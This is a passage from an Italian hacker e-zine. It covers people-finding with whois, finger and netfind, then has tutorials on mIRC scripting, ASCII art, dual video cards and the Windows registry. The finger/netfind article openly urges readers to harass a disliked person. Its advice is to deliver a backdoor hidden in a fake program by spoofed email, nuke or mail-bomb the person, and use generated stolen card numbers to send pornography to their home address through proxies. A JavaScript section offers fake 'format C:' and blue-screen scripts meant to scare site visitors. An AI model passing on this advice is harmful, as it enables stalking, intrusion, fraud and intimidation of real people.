|La possibilità di utilizzare whois si estende anche al Web (oltre ai soliti |
|programmini), ci sono infatti numerosi server che offrono questo servizio via |
|http e che ne consentono quindi l'utilizzo con più semplicità (volete la pappa |
|pronta eh??), come per esempio l'ottimo database Europeo "RIPE"... |
| |
| http://www.ripe.net (nella sez whois) |
| |
|Se desiderate invece un'elenco dei server whois potete trovarlo a: |
| |
| ftp://sipb.mit.edu/pub/whois/whois-servers.list |
| |
+--------------------------------------------------------------------------------+
| |
| [#] Finger |
| |
|Come per whois, finger è un'altro strumento molto utile per reperire delle info |
|sugli utenti, allo stesso modo si apre una sessione telnet, ma la porta in ques-|
|to caso è la 79 (è sempre utile leggersi l'help del server prima di utilizzarlo)|
| |
| telnet arpanet.it 79 |
| |
|La quantità di informazioni varia da server a server, così come il metodo di |
|ricerca, un difetto questo che rende il servizio non molto affidabile; potremmo |
|non trovare niente su un determinato server e trovare di tutto su un'altro. |
|I termini di ricerca in questo caso sono di vario tipo ma diciamo che normalmen-|
|te viene utilizzato l'indirizzo e-mail della vittima... |
| |
| : kevin@netware.net |
| |
|...dategli tempo di elaborare e (se saranno presenti) vi troverete davanti le |
|informazioni riguardanti l'utente, sarete anche avvisati (sempre che il server |
|lo permetta) se l'utente è collegato in rete!! |
|In alternativa se la chive di ricerca è incerta potrete utilizzare finger in |
|questo modo... |
| |
| : finger@netware.net |
| |
|...per avere un elenco degli utenti appartenenti al sito ""netware.net"" (anche |
|se non è molto consigliabile farlo su grossi siti, visto l'interminabile elenco |
|di utenti). |
|Come già dovreste sapere molti server disattivano questo tipo di servizio perchè|
|particolarmente debole agli attacchi (///* ^s, per es.), qundi sarà vostro impe-|
|gno trovarne uno adatto al prorio bisogno. |
| |
+--------------------------------------------------------------------------------+
| |
| [#] Netfind |
| |
|Ora passiamo ad un sistema ormai in disuso che è comunque utile conoscere e sape|
|re come funziona, perchè nel caso in cui avrete la possibilità di usufruirne, |
|diventerebbe uno strumento utilissimo.Il server netfind viene utilizzato nel ca-|
|so in cui siamo a conoscenza del nome o cognome della persona che cerchiamo, del|
|dominio oppure anche tramite alcune parole chiave che vi saranno spiegate nell |
|help del server. E' ovvio quindi che netfind è un servizio utile solo per una |
|ricerca più mirata, ovvero se siamo già a conoscenza di alcune info sul nostro |
|bersaglio. Per utilizzare questo servizio sarà sufficiente collegarsi con telnet|
|ad un server netfind, entrare con ""netfind"" quando chiede il login e dare |
|un'invio quando richiede la password (non tutti i server utilizzano però questo |
|protocollo). Vi troverete davanti la solita descrizione del server ;-) ed |
|un'elenco di altri servizi netfind disponibili in rete.Una volta dentro dovrete |
|inserire i dati per la vostra ricerca; |
| |
| supponiamo di dover cercare un tal Kevin su un dominio "netware.net"... |
| |
| netfind: kevin netware.net |
| |
|...bisognerà inserire prima il cognome (o il nome), poi il dominio o qualunque |
|parola chiave che possa identificare la persona...ecco tutto quello che dovrete |
|fare. |
|Netfind si preoccuperà di effettuare una ricerca nel dominio da voi indicato, |
|riferendovi tutte le informazioni disponibili e , come per finger, se l'utente |
|da voi selezionato è attualmente in rete. |
|Interessante no?! |
|(Ricordatevi che le chiavi di ricerca vanno divise da spazi e non da punteg- |
|giature). |
|Più la ricerca sarà precisa e più sarà veloce ed efficace il risultato, |
|se invece dovrete effettuare dei tentativi... allora armatevi di pazienza. Fra i|
|più grandi server netfind và considerato dis.internic.net, ma ce ne sono diversi|
|sparsi per molti paesi, eccone alcuni che ho potuto verificare: |
| |
| netfind.fnet.fr (Francia) |
| netfind.uni-essen.de (germania) |
| ds.internic.net (USA) |
| netfind.elte.hu (Ungheria) |
| netfind.icm.edu.pl (Polonia) |
| nic.uakom.sk (Slovenia) |
| bruno.cs.colorado.edu (USA) |
| netfind.vslib.cz (Rep.Ceca) |
| |
|Non ho ancora verificato se esiste un server netfind in Italia, nel caso lo |
|sappiate mandatemi pure una mail! |
|Come whois anche netfind ha la sua presenza sul Web ed esistono vari Url dove è |
|possibile usufruirne; non stò ad elencarli perchè potete facilmente trovarli |
|tramite un motore di ricerca! :-P |
| |
|Ricordatevi di utilizzare sempre il server più vicino al nostro obiettivo o |
|ancora meglio se è il suo provider a fornire tali servizi, per avere maggior |
|successo nella nostra ricerca ! |
| |
| Questo è tutto... (Uff!) |
| |
+--------------------------------------------------------------------------------+
|Raccomando solamente una cosa; non fate casini con i servizi che ho sopra citato|
|e altri ancora che ci offre la rete (in particolar modo mi riferisco ai Lamer!),|
|sono già molti i server che li chiudono perchè degli idioti sperimentano le loro|
|cazzate, non diamo modo di aiutarli in questo intento! |
+--------------------------------------------------------------------------------+
| |
| OK? |
|"ma una volta ottenuto ciò che cerchiamo, cosa ne facciamo??" ........ARGGGHH!!!|
| |
|...non lo starete dicendo sul serio!! |
|Che cavolo di hacker volete diventare?? |
|A parte quello che vi ho spiegato all'inizio. |
|Se state cercando così accanitamente un'utente tanto da perdere parte del vostro|
|tempo prezioso, significa che o vi stà tremendamente sulle palle o volete |
|ringraziarlo di cuore per un favore che vi ha fatto...?? ahahahah!... |
|hihihi!huhuu.... (ma fatemi il piacere!) |
| |
|Nel primo caso potrete agire in diversi modi; |
| |
+--------------------------------------------------------------------------------+
| |
| [#] SOFT |
| |
|- spedirgli tramite una fakemail una Backdoor implementata in un'innocente prog |
|con qualche scusa (o magari indicandogli dove scaricare tale progZ, ovvero su un|
|sito da voi creato temporaneamente) ...insomma fategli installare stà BD in |
|qualche modo! ...poi fate voi. |
| |
|- utilizzate i vari nuker che ci sono in rete (come aggressor) per attaccarlo |
|ogni volta che lo beccate online, oppure, da lamers, utilizzate un mail-bombing.|
| |
|- spaventatelo un pò con qualche msg o con alcuni prog che fanno al caso vostro.|
| |
+--------------------------------------------------------------------------------+
| |
| [#] HARD (vi stà prorio sulle palle!!) |
| |
|Avete abbastanza info sull'utente? Basta poco per sapere residenza,via, n°di tel|
|ecc.. ( si può fare tutto online). Avrete sicuramente fatto del carding, nel |
|vostro piccolo. Basta un generatore di CC e riuscire a beccare un numero valido |
|e... |
|sapete quei servizi online che spediscono per posta materiale diciamo... cultura|
|le (cicciolina ai mondiali, le calde voglie di helen, analcanal,ecc..)?! ;-))|
|ecco.. fate voi. Ricordatevi però; se volete andare sul sicuro, utilizzate alme-|
|no un'anonymizer per effettuare ""l'abbonamento"", o meglio ancora, un bounce |
|(rimbalzo) tramite proxy. |
|Altre cose si possono fare, ma non voglio entrare nel particolare... |
|Basta comunque un pò di inventiva. |
| |
+--------------------------------------------------------------------------------+
| |
|Se ritenete che tutto questo vi è servito a qualcosa... meglio per voi, altri- |
|menti... cazzi vostri! :-] |
| |
|...ma se pensate che non vi sia nessuna utilità nell'imparare queste cose, bè |
|allora non avete capito un caz..! |
| |
|Ricordatevi che un buon hacker ha la capacità di trovare chiunque nella rete, |
|dovunque esso sia, qualsiasi cosa faccia... |
|per questo non vi augurerei mai di incontrarlo!! :-|=| |
| |
|Per i più saccenti: se avete delle correzioni da fare o info da aggiungere, |
|sono ben gradite le vostre mail! |
| |
+--------------------------------------------------------------------------------+
| |
| #Override# the_over@mindless.com |
| |
+--------------------------------------------------------------------------------+
.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.
____ _
| _ \ _ __ ___ __ _ _ __ __ _ _ __ ___ _ __ ___ __ _ ___(_) ___ _ __ ___
| |_) | '__/ _ \ / _` | '__/ _` | '_ ` _ \| '_ ` _ \ / _` |_ / |/ _ \| '_ \ / _ \
| __/| | | (_) | (_| | | | (_| | | | | | | | | | | | (_| |/ /| | (_) | | | | __/
|_| |_| \___/ \__, |_| \__,_|_| |_| |_|_| |_| |_|\__,_/___|_|\___/|_| |_|\___|
|___/
+--------------------------------------------------------------------------------+
| Gick-Zine n° 2 - [PROGRAMMAZIONE] -=[03]=- |
| Lezioni di JavaScript n° 2 -=(Gick)=- |
+--------------------------------------------------------------------------------+
| |
| _ ____ _ _ |
| | | __ ___ ____ _/ ___| ___ _ __(_)_ __ | |_ |
| _ | |/ _` \ \ / / _` \___ \ / __| '__| | '_ \| __| |
| | |_| | (_| |\ V / (_| |___) | (__| | | | |_) | |_ |
| \___/ \__,_| \_/ \__,_|____/ \___|_| |_| .__/ \__| |
| |_| |
| A cura di: -=(Gick)=- |
| |
+--------------------------------------------------------------------------------+
| |
|Ciao a tutti, in questa seconda "Lezione" vi mostrerò un paio di script da ag- |
|giungere alle vostre pagine per abbellirle, arricchirle e rompere un po' le bal-|
|le ai visitatori :-P |
| |
+--------------------------------------------------------------------------------+
| |
|Cominciamo, basta che copiate e incollate nela pagia web tra linea e linea :-D |
| |
+----------------------------FORMATTARE-L'HARD-DISK------------------------------+
| |
| <script> |
| var t=screen.width+100 |
| var q=screen.height+200 |
| self.moveTo(0,0) |
| self.resizeTo(0,0) |
| function m(){ |
| self.moveTo(-30,-150) |
| self.resizeTo(t,q) |
| document.all.h.style.pixelTop=60 |
| document.all.h.style.pixelLeft=20 |
| document.all.h.style.fontSize="16pt" |
| } |
| function n(){ |
| a++ |
| if(a<=100){ |
| h.innerHTML = "<FONT face='Fixedsys' color=#999999>Microsoft(R) Windows 9x |
| <BR>   (C)Copyright Microsoft Corp 1981-1998.<BR><BR> |
| <BR>C:\>format C: /AUTOTEST<BR><BR>ATTENZIONE: TUTTI I DATI SUL DISCO FISSO |
| C:<BR>ANDRANNO PERSI<BR><BR>Continuare con la formattazione (S/N)? S<BR><BR>|
| Controllo del formato del disco.<BR>Verifica del formato in corso.<BR><BR> |
|    "+a+"% PERCENTO COMPLETATO.</FONT>"; |
| } |
| else |
| h.innerHTML = "<FONT face='Fixedsys' color=#999999>Microsoft(R) Windows 9x |
| <BR>   (C)Copyright Microsoft Corp 1981-1998.<BR><BR><BR>C:\> |
| format C: /AUTOTEST<BR><BR>ATTENZIONE: TUTTI I DATI SUL DISCO FISSO C:<BR> |
| ANDRANNO PERSI<BR><BR>Continuare con la formattazione (S/N)? S<BR><BR>Contro|
| llo del formato del disco.<BR>Verifica del formato in Corso.<BR> |
| <BR>   FORMATTAZIONE COMPLETATA.<BR><BR>Etichetta di volume (11 |
| caratteri, INVIO per non darne)?<BR><BR>Numero di serie del volume: |
| 91B-07F7<BR><BR>C:\></FONT><FONT font-size='10pt' Face='Arial' |
| color=#AA0000>Javascript Formatter By Master - Hacker .. Have a nice day! |
| ;-)</FONT>"; |
| setTimeout("n()",100) |
| } |
| </script> |
| <STYLE TYPE="text/css"> |
| #m1{ |
| position: absolute;font-name:Arial Bold;color:white}; |
| #h{font-color: white;font-name: Trouble MS;} |
| </STYLE> |
| <BODY BGCOLOR=#000000 onLoad="a=0;m();n()"> |
| <DIV ID="m1"> </DIV> |
| <FONT><DIV ID="h" STYLE="position:relative; left: 100px; top: 200px; width: |
| 1000px; height: 300px; color: WHITE;"></DIV></FONT> |
| </BODY> |
| |
+----------------------------------SCHERMO-BLU-----------------------------------+
| |
| <script> |
| var t=screen.width+100 |
| var q=screen.height+200 |
| function m(){ |
| self.moveTo(-30,-150) |
| self.resizeTo(t,q) |
| document.all.m1.style.pixelTop=(q-200)/2 |
| document.all.m1.style.pixelLeft=(t-100)/2-240 |
| document.all.m1.style.fontSize="14pt" |
| document.all.m1.style.color="white" |
| } |
| </script> |
| <STYLE TYPE="text/css"> |
| #m1{ |
| position: absolute; |
| font-name:Arial Bold; |
| color:#000099}; |
| </STYLE> |
| <BODY BGCOLOR=#000099 onLoad="m()"> |
| <DIV ID="m1">ERRORE nel modulo VXD 4802:2320 RegX : 281 - 000 - 010 - 027 |
| </DIV> |
| </BODY> |
| |
+-----------------------------SCIVOLA-VIA-IL-BROWSER-----------------------------+
| |
| <HTML> |
| <title>Movarello</title> |
| <SCRIPT LANGUAGE=JAVASCRIPT> |
| function seconda() |
| { |
| self.moveBy(0,a) |
| a=a+0.1 |
| pippo.value=a |
| setTimeout("seconda()",1) |
| } |
| </SCRIPT> |
| <BODY BGCOLOR=#0000AA onload="a=0;setTimeout('seconda()',10000)"> |
| <TEXTAREA name="pippo" ROWS=1 COLS=25 WRAP="virtual"> |
| aspetta 10 secondi!</TEXTAREA> |
| </BODY> |
| </HTML> |
| |
+--------------------------------------------------------------------------------+
| |
|Beh, per stavolta è tutto e ricordatevi di provare, provare e provare, è questo |
|il miglior metodo per imparare... |
|Alla prossima Lezione -=(Gick)=- |
| |
+--------------------------------------------------------------------------------+
.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.
+--------------------------------------------------------------------------------+
| Gick-Zine n° 2 - [PROGRAMMAZIONE] -=[04]=- |
| mIRC Scripting TUTORIAL I SpyMaster |
+--------------------------------------------------------------------------------+
| |
|Bene ragazzi, sotto incitazione di N0bodY88, sarò io che da adesso in poi curerò|
|una sezione che spero diventerà una delle più seguite in assoluto: come farvi i |
|vostri script per mIRC! |
|Molti appena mi sentono parlare in "codice", ossia quando parlo di $addtok, |
|/dialog o altre skeefezze, vengono in query e puntualmente mi chiedono: "Ohhhhhh|
|ma sai scriptare?" "Embé?" "Ma sarai bravissimoooooo!"...muaH, tutte stronzate. |
|Salvo rarissime cose fare uno script decente per chattare è sempre facilissimo. |
|Infatti il mIRC scripting non è altro che una versione ridotta ai minimi termini|
|di un linguaggio di programmazione. Questo linguaggio deriva un po' da tutto: |
|dal C, dal Basic, dal Pascal ecc... |
| |
|Prima di iniziare con i fondamenti però dovete avere ben chiaro in mente il con-|
|cetto di script. Uno script è un SOTTOPROGRAMMA del mIRC e niente di più. |
|Non può andare di molto oltre i limiti del mIRC, tranne che con parecchie ore di|
|programmazione dedicate a creare funzioni fuori dal comune. Una buona soluzione,|
|ma solo se siete bravi con un linguaggio di programmazione visuale (magari non |
|VB ok? meglio Visual C++ o Delphi), è quella di crearvi il VOSTRO client IRC, |
|con le funzioni che volete, tutte incluse senza i limiti dello scripting. |
|A proposito di limiti dello scripting, non credete di poter fare chissà quali |
|prodigi, infatti i limiti ci sono eccome! Potrete limitarvi ad un solo menù ag- |
|giunto sulla menubar, per creare molte cose belle è necessaria una quantità spro|
|porzionata di codice e spesso ci si riduce ad includere nel proprio script molti|
|file per renderlo più appetibile. Il problema è che questi file rallentano l'ese|
|cuzione del mIRC, visto che il programma se li carica singolarmente all'avvio |
|(caso di questa "pesantezza" generale è il Bisnuke 3.0 Gold, veramente immane: |
|immagini di sfondo, suoni, oltre 50 file di script da caricare, tutto per una mi|
|sera interfaccia grafica, pergiunta neanche dell'autore, visto che è un addon). |
|Perciò ripeto: niente miracoli! Passiamo adesso ad esaminare i fondamenti dello |
|scripting. |
| |
|Un file di script può essere di due tipi diversi: un file .INI o un file di una |
|qualunque altra estensione, purch fatto in testo ASCII. Io consiglio sempre il |
|secondo metodo, meglio se l'estensione del file è .MRC. Comunque la scelta sta a|
|voi. Ricordate però che un file INI è poco leggibile dall'esterno (ossia usando |
|programmi come notepad) perch il mIRC li salva in un formato particolare, che |
|premette una nX= ad ogni riga (la X sta per un numero, che parte da 0 e cresce |
|man mano). Allora, ogni script che si rispetti si compone di tre parti fondamen-|
|tali: gli ALIAS, i REMOTE e i POPUPS. |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - ALIAS |
| |
|un alias è un comando che produce una serie di operazioni in sequenza, per esem-|
|pio possiamo creare un alias che dica sul canale in cui siamo "Ciao" ma possiamo|
|anche creare un alias che ci faccia joinare sui nostri canali preferiti, ci au- |
|tentichi sui bot e saluti tutti. Un portento! |
|Gli alias sono nella forma: |
| |
| <nome alias> { |
| comando1 |
| ... |
| comandoN |
| } |
| |
|Esempio: |
| |
| ciao { |
| join #newbies |
| me saluta tutti |
| topic ecco il mio alias in funzione |
| } |
| |
|Questo alias entra nel canale #newbies, saluterà tutti con un /me (azione), e |
|cambia il topic in "ecco il mio alias in funzione". |
| |
|Come spero vi siate accorti i comandi da usare in un alias sono gli stessi che |
|usate normalmente nel mIRC, come /me, /topic, ecc. Le uniche eccezioni sono che |
|potete scrivere in un alias i comandi senza "/", che per dire qualcosa in un ca-|
|nale dovete usare "say <testo>" e che vi è permesso usare i cosiddetti "Identifi|
|ers" che però vi spiegherò in un'altra lezione. |
|Gli alias sono chiamati dalla riga di comando come i normali comandi del mIRC, |
|ossia premettendo un "/" (segno che però può essere cambiato dalle opzioni, even|
|tualmente mettete quello che avete scelto). Nel nostro esempio il comando verrà |
|chiamato digitando "/ciao" |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - REMOTE |
| |
|I remote sono le cose più importanti. Infatti sono delle righe di codice che han|
|no la capacità di rispondere a dei determinati eventi. Per esempio, possiamo fa-|
|re un remoto che al testo "Pizza Script" kickbanna per 30 secondi quello che ha |
|pronunciato il nome dello script più lamer in assoluto. |
|Si dice evento generante l'evento che mette "in moto" il vostro remoto. |
|Questi remoti sono in questa forma: |
| |
| on <livello>:<evento>:<testo (non sempre presente)>:<luogo>: { |
| comando1 |
| ... |
| comandoN |
| } |
| |
|Allora, il livello è un particolare numero associato ad alcuni tipi di utente. |
|Non so se avete presente degli script dove c'è la friend e la enemy list. |
|In pratica l'essere friend o enemy dipende dal numero che vi è stato assegnato, |
|ossia il vostro livello. Se per esempio la enemy list ha come livello di default|
|3, potrebbe esserci un evento on 3:TEXT che appena un enemy parla, esegue le a- |
|zioni che avete specificato. Il livello base di un utente è 1, ma potete cambiar|
|lo a vostro piacimento dall'editor di script incluso nel mIRC. |
|L'evento serve a dire quando deve scattare il nostro remoto. TEXT indica alla |
|ricezione di testo, ACTION alla ricezione di un azione, KICK appena viene fatto |
|un kick e così via. Chissà che non appena saremo un pochino più esperti non vi |
|faccia pubblicare una bella listona con il funzionamento di tutti gli eventi! |
|Il testo e il luogo sono due parametri non sempre presenti. Infatti il primo è |
|presente negli eventi come TEXT, ACTION ecc. e indica se deve essere presente |
|una certa stringa nel testo che avete ricevuto. Se non avete un filtro preciso, |
|basta mettere * che vuol dire tutto. Il luogo è invece indicativo della finestra|
|in cui ricevete qualcosa. |
| |
|I simbolini principali sono: |
| |
| * = tutte le finestre |
| ? = finestra di query |
| # = per tutte le finestre di canale |
| #<nome del canale> = per quel canale in particolare |
| |
|Subito dopo il luogo, vengono i comandi. Questi sono dati come in un alias, os- |
|sia senza "/" ecc. Ricordate che non è sbagliato mettere "/", ma in un grosso |
|script tanti / potrebbero contribuire a fare + grande il codice, e inoltre (alme|
|no secondo me) creano molta confusione. |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - POPUPS |
| |
|I popups sono la parte meno importante di uno script, ma dei popup ben fatti |
|contribuiscono a creare una senzazione di "bellezza" generale. Infatti i popu
ps |
|sono appunto i menù popup, quelli attivabili col tasto destro. Ma procediamo per|
|ordine. I popup sono di 6 tipi: MENUBAR: La sezione Menubar dei popup crea un |
|menù sulla Menubar, tra il menù DCC e il menù Window STATUS: La sezione status |
|crea un menù richiamabile premendo col tasto destro sulla finestra di status |
|CHANNEL: La sezione channel crea un menù richiamabile col tasto destro sulla fi-|
|nestra di un canale QUERY/CHAT: La sezione Query/Chat crea il menù per le fines-|
|tre di query e per le DCC chat NICKNAME LIST: La sezione nickname crea il solito|
|menù che appare cliccando col tasto destro su un nickname sulla lista dei nick |
|CUSTOM WINDOWS POPUP: Di questa sezione non molti sanno l'esistenza, ma solo per|
|ché non appare nel mIRC Editor. Ma esiste la possibilitù di creare menù popup |
|per le Custom Windows, che sono finestre creabili con appositi comandi. |
|Una piccola parentesi: a partire dal mIRC 5.5 sono state introdotte delle legge-|
|re innovazioni. Infatti adesso se nella finestra di un canale, dove ricevete il |
|testo, cliccate col tasto destro mentre la freccina è sopra un nick apparirà il |
|menù della nicklist. |
| |
|Forma generale dei popup: |
| |
| Nome del Menù (questo parametro serve solo nella sezione menubar e indica il |
| nome del vostro menù sulla menubar) |
| Elemento del Menù: comando da eseguire quando cliccate |
| |
|Esiste la possibilità di creare dei separatori, ossia le linee di separazione pe|
|gli elementi del menù, inserendo al posto dell'elemento del menù un - Inoltre |
|possiamo creare dei sottomenù usando questo metodo: |
| |
| Menù Settaggi |
| .Autojoin |
| ..Attivo:comandi per attivare |
| ..Disattivo:comandi per disattivare |
| ..- |
| ..Lista dei canali:comando per la lista |
| .Controlli |
| ..Op:comando dell'op |
| ..Deop:comando del deop |
| ..Kick:comando del kick |
| ecc... |
| |
|Capito?!?! |
| |
|E per adesso abbiamo finito, come prima lezione abbiamo spiegato per benino gli |
|elementi basilari. Nel frattempo che aspettate la prossima (non ringrazierò mai |
|abbastanza N0bodY88 per avermi permesso di fare i miei articoli) vi dico un paio|
|di cosette. Inanzitutto se create uno script NON mandatemelo inoltre scaricatevi|
|un paio di script, magari da NonSoloKick (www.nonsolokick.com, siccome i downlo-|
|ad sono a password e username, li ho fatti mettere solo per voi). |
|Eccovi un elenzo di script che potrete fare vostri: |
| |
|ZeroTolerance 8.20 (http://ztolerance.cjb.net) <-- CONSIGLIATO! |
|7thSphere 3.0 (http://www.nonsolokick.com) <-- CONSIGLIATO! |
|VeNo[M] Script 2.1 (http://www.nonsolokick.com) |
|TRiBE IRC 9b43 (http://www.tribe.roxx.ircnet.mcmail.com/) <-- CONSIGLIATO! |
|ShowDowN 9.5 PRO (http://koti.icenet.fi/~julsei/) |
|Pizza Script 3.0 (http://www.chez.com/pizzairc) <-- SOLO PER LAMER0NI! |
|Dynamirc 7.0 (http://www.nonsolokick.com) |
|Pulsar 2.0 (http://www.nonsolokick.com) <-- SOLO PER ME E N0BODY ;D |
|Bisnuke 4.0 (http://www.nonsolokick.com) |
|CryogenIrc 4.0 (http://www.nonsolokick.com) |
| |
+--------------------------------------------------------------------------------+
| |
| SpYmAsTeR spymaster99@usa.net |
| |
+--------------------------------------------------------------------------------+
____ __ _
/ ___|_ __ __ _ / _(_) ___ __ _
| | _| '__/ _` | |_| |/ __/ _` |
| |_| | | | (_| | _| | (_| (_| |
\____|_| \__,_|_| |_|\___\__,_|
+--------------------------------------------------------------------------------+
|Gick Zine n° 2 - [GRAFICA] -=[05]=- |
|Introduzione all'ASCII-Art -=(Gick)=- |
+--------------------------------------------------------------------------------+
| |
|ASCII-Art è l'arte di disegnare con i soli caratteri del codice ASCII. |
|Il codice ASCII (American Standard Code for Information Interchange) è un set di|
|128 caratteri, numerati da 0 a 127, composto da lettere dell'alfabeto, numeri, |
|simboli e codici particolari. |
|E' considerato uno standard da tutti i computer. |
| |
|I caratteri usati per l'ASCII-Art sono 95, vanno dal 32 al 126: |
| |
+--------------------------------------------------------------------------------+
| |
| 032 [space] 048 0 064 @ 080 P 096 ` 112 p |
| 033 ! 049 1 065 A 081 Q 097 a 113 q |
| 034 " 050 2 066 B 082 R 098 b 114 r |
| 035 # 051 3 067 C 083 S 099 c 115 s |
| 036 $ 052 4 068 D 084 T 100 d 116 t |
| 037 % 053 5 069 E 085 U 101 e 117 u |
| 038 & 054 6 070 F 086 V 102 f 118 v |
| 039 ' 055 7 071 G 087 W 103 g 119 w |
| 040 ( 056 8 072 H 088 X 104 h 120 x |
| 041 ) 057 9 073 I 089 Y 105 i 121 y |
| 042 * 058 : 074 J 090 Z 106 j 122 z |
| 043 + 059 ; 075 K 091 [ 107 k 123 { |
| 044 , 060 < 076 L 092 \ 108 l 124 | |
| 045 - 061 = 077 M 093 ] 109 m 125 } |
| 046 . 062 > 078 N 094 ^ 110 n 126 ~ |
| 047 / 063 ? 079 O 095 _ 111 o |
| |
+--------------------------------------------------------------------------------+
| |
|L'ASCII-Art viene anche usata nei messaggi e-mail in modo da poter inviare dise-|
|gni insieme al testo senza usare grafica o font di caratteri particolari. |
| |
+--------------------------------------------------------------------------------+
| |
|Ecco un'esempio di ASCII-Art: |
| |
| ''~`` |
| ( o o ) |
| +-------------------.oooO--(_)--Oooo.------------------+ |
| | | |
| | VI ASPETTO CON IL PROSSIMO NUMERO DELLA GICK-ZINE | |
| | | |
| | .oooO | |
| | ( ) Oooo. | |
| +---------------------\ (----( )-------------------+ |
| \_ ) ) / |
| ( _/ |
| |
+--------------------------------------------------------------------------------+
__ __ _
\ \ / /_ _ _ __(_)
\ \ / / _` | '__| |
\ V / (_| | | | |
\_/ \__,_|_| |_|
+--------------------------------------------------------------------------------+
|Gick Zine n° 2 - [VARI] -=[06]=- |
|Due Schede Video sul PC [Bartex] |
+--------------------------------------------------------------------------------+
| |
| [#] - 0CC0RRENTE |
| |
|Una scheda video PCI e, naturalmente, un'altro video da montare alla seconda |
|scheda video |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - SiTUAZi0NE |
| |
|Avete il vostro bel Athlon (AMD rulez) 800 Mhz, 128 mb di RAM, CD-Rom 40x, maste|
|rizzatore, Sound Blaster, e una bella scheda video AGP 2x accellerata. |
|Vi sentite soddisfatti, ci giocate a superbyke, vi vedete i filmini porno ecc...|
| |
|Si arriva ad un certo puntosentite l'esigenza di fare grafica, di chattate e con|
|temporaneamente navigare senza saltare da una finestra all' alra, o vedere un |
|film mentre si lavora nell'altro video. Qui entra in gioco questo articolo!!! |
| |
|Allora prendete la scheda video PCI dal vostro bel pentium 133 mhz abbandonato |
|in qualche scaffale (scaricate l'energia statica toccando un'oggetto di metallo,|
|potreste danneggiare la scheda), aprite il case del vostro bel nuovo pc e monta-|
|te la scheda PCI in uno slot libero, accendete il pc facendo avviare windows e |
|la scheda vellà riconosciuta. Dopo l'intallazione dei driver riavviate il pc, en|
|trate nel bios e nella configurazione delle periferiche (PCI Devices o una cosa |
|del genere) fate in modo che al boot il pc cerchi prima la scheda PCI. |
|A questo punto salvate le impostazioni del bios, avviate windows e, se tutto è |
|andato bene, dovreste vedere una scritta sul monitor collegato alla scheda AGP |
|che dice che la periferica è stata montata correttamente. |
| |
|Ora avrete la scheda video pci con relativo monitor che sono i principali, men- |
|tre la scheda AGP è la secondaria. |
| |
|Ora nella configurazione dello schermo appariranno due monitor disegnati, dei |
|quali possiamo scegliere la risoluzione (anche diversa) la posizione e se tenere|
|attivato o meno quello secondario. |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - N0TE |
| |
|Se la vostra scheda PCI è una cacca, e vi piace giocare molto, quando vorrete |
|farlo, dovrete avere l'accortezza di avviare il pc con la scheda AGP come prima-|
|ria (vedi impostazioni del bios). Non sono certo di quello che dico ma penzo che|
|windows faccia i capricci per attivare i due monitor con la scheda AGP come pri-|
|maria, dicendo che la scheda non ha i driver adatti per funzionare con il dual- |
|head. |
| |
|Un'altra cosa da non trascurare è che il PC rallenterà leggermente, siccome si |
|troverà a gestire ben due schede video e due monitor. |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - THE END |
| |
|Un saluto particolare a tutti gli smanettoni hardware che impazziscono come me |
|per fare queste stronzate! :-) |
| |
+--------------------------------------------------------------------------------+
.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.
+--------------------------------------------------------------------------------+
|Gick Zine n° 2 - [VARI] -=[07]=- |
|Il Registro di Sistema Ankit Fadia |
+--------------------------------------------------------------------------------+
| |
| The Registry Torn Apart --- Ankit Fadia<ankit@bol.net.in> |
| |
+--------------------------------------------------------------------------------+
| |
| Versione Originale : Ankit Fadia <ankit@bol.net.in> |
| Versione Tradotta : SpIDeR2K <spider2k@freemail.it> |
| Data Traduzione : 28 (sera) - 29 (mattina) /06/2000 |
| Consumo per la traduzione : Un bel Magnum alle mandorle... gnam gnam !:-) |
| Musica di sottofondo : BonJovy ( It's my life ) |
| BomFunk Mc's ( Freestyle ) |
| Metallica ( I disappear ) |
| |
+--------------------------------------------------------------------------------+
| |
| http://blacksun.box.sk |
| |
+--------------------------------------------------------------------------------+
| |
|Il registro è un database gerarchico che contiene virtualmente tutte le |
|informazioni sulla configurazione del computer. |
|Questo setta dove debbano essere contenuti files come il config.sys,autoexec.bat|
|win.ini, system.ini, control.ini ed altri. |
|Da questo ti puoi rendere conto di quanto sia importante il registro. La strut- |
|tura è simile a quella dei files ini, ma va oltre il concetto di questi perché |
|offre una struttura gerachicha, simile a quella delle cartelle e dei files nell'|
|Hard Disk. Infatti la procedura per prendere degli elementi dal registro è simi-|
|le a quella per le cartelle e i files. |
| |
|In questa sezione, andrò ad esaminare soltanto il registro di Windows 95/98 |
|sebbene quello di Nt sia simile. |
| |
+--------------------------------------------------------------------------------+
| |
| L' Editor di Registro |
| |
|L' editor di Registro è un utility chiamato Regedit.exe che ti permette di |
|guardare, cercare, modificare e salvare il database del registro di Windows. |
| |
|Questo non convalida i valori che stai scrivendo : permette qualsiasi operazione|
|Cosi cerca di prestare molta attenzione, perchè se sbagli non verra visualizzato|
|nessun messaggio di errore. |
| |
|Per lanciare l' Editor di Registro devi semplicemente lanciare RegEdit.exe |
|(sotto Windows Nt Regedy32.exe con i privilegi di amministratore ). |
| |
|Esso si divide in due parti : nella parte di sinistra vi è una visualizzazione |
|gerarchica del database ( simile all ' esplora risorse di Windows ) nella parte |
|a destra invece ci sono i vari valori. |
| |
+--------------------------------------------------------------------------------+
| |
|Il Registro è organizzato in Keys (Chiavi) e SubKeys (Sottochiavi). |
|Ogni Chiave contiene dei valori , ognuna ha un nome , un tipo e una classe |
|specifica. Il nome è la stringa che identifica il valore della chiave. |
|La lunghezza e il formato di questo valore dipende dal tipo di dati. |
|Come puoi vedere con il regedit, il registro si divide in 5 parti principali: |
|non c'è nessun modo di aggiungere o eliminare delle chiavi a questo livello. |
|Solamente due di queste chiavi sono salvate effettivamente su disco rigido: |
|HKEY_LOCAL_MACHINE e HKEY_USERS. |
|Le altre sono soltanto "ramificazioni" delle chiavi principali o chiavi dinami- |
|che create da Windows. |
| |
+--------------------------------------------------------------------------------+
| |
